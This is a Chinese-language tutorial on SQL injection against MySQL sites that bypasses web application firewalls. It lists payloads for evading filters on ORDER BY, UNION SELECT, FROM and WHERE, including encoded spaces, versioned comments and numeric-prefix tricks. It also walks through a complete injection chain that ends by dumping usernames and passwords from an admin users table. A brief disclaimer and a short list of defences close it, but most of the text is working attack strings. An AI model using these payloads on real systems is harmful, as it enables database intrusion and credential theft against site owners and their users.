MySQL绕过WAF实战技巧
字数 872 2025-08-11 00:55:07
MySQL绕过WAF实战技巧教学文档
一、前言
本文总结了MySQL注入绕过WAF(Web应用防火墙)的多种实战技巧,通过实际案例演示如何绕过常见的WAF防护机制。这些技术仅供安全研究和防御使用,请勿用于非法用途。
二、常见绕过方式综述
- 注释方式绕过:利用MySQL特有的注释语法
- 编码方式绕过:使用URL编码、十六进制编码等
- 大小写混合:改变SQL关键字的大小写组合
- 缓冲区溢出:通过超长字符串导致WAF处理异常
- 特殊字符插入:在关键字中插入特殊字符或空白
三、实战绕过技巧详解
1. 绕过ORDER BY过滤
当WAF检测"Order By"时会拦截:
有效绕过方法:
- 使用URL编码的空格(%A0):
Order%A0By 100 - 使用大容量注释:
/*50000Order*/ By 100 -- -
2. 绕过UNION SELECT过滤
当WAF检测"Union Select"时会拦截:
有效绕过方法:
- 使用注释分割关键字:
/**_**/UnIoN(/*!50000SeLeCt*/ 1,2 -- - - 使用特殊字符分割:
UnIoN%A0SeLeCt
3. 多列查询绕过技巧
当联合查询需要填充大量列时容易被拦截:
有效绕过方法:
-
JOIN查询法:
UnIoN%A0SeLeCT*FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN ... JOIN (SeLeCt 25)z -- - -
波浪符(~)法:
UnIoN%A0SeLeCT 1,2,3,4,~5,~6-- - -
小数点(.)法:
UnIoN%A0SeLeCT 1,2,3,4,.5,.6-- - -
引号包裹法:
UnIoN%A0SeLeCT 1,2,3,4,'5','6'-- - 或 UnIoN%A0SeLeCT 1,2,3,4,"5","6"-- - -
科学计数法(9e0):
*9e0UnIoN SeLeCT 1,2,3,4,5,6...25-- -
4. 绕过FROM过滤
当WAF检测"From"时会拦截:
有效绕过方法:
- 添加e0前缀:
e0FrOm Information_schema-- - - 使用小数点:
.25FrOm Information_schema./**_**/Tables-- -
5. 绕过WHERE过滤
有效绕过方法:
- 使用内联注释:
/*!50000Where*/ table_schema=database()-- -
6. 绕过十六进制检测
当WAF检测hex编码时会拦截:
有效绕过方法:
- 使用二进制表示法(前缀0b):
0b01001001... (对应字符的二进制表示)
四、完整注入流程示例
-
探测列数:
' Group By 100 -- - # 通过报错确定实际列数 -
绕过UNION SELECT:
' /**_**/UnIoN(/*!50000SeLeCt*/1,2,3...25)-- - -
获取表信息:
' *9e0UnIoN SeLeCT 1,2,3,ConCat(table_name),5...25e0FrOm Information_schema./**_**/Tables-- - -
获取列信息:
' *9e0UnIoN SeLeCT 1,2,3,Group_ConCat(table_name,0x3a3a3a3a3a,column_name),5...25FrOm Information_schema./**_**/columns-- - -
获取具体数据:
' *9e0UnIoN SeLeCT 1,2,3,Group_ConCat(user,0x3a,password),5...25FrOm admin./**_**/users-- -
五、防御建议
- 使用参数化查询(prepared statements)
- 实施最小权限原则
- 对输入进行严格的白名单验证
- 使用多层WAF规则,包括语义分析
- 监控和记录异常查询模式
六、总结
MySQL WAF绕过技术多种多样,关键在于:
- 理解WAF的过滤机制
- 灵活运用MySQL语法特性
- 不断尝试各种编码和变形方式
- 保持耐心和创造力
安全研究人员应深入了解这些技术以构建更强大的防御系统。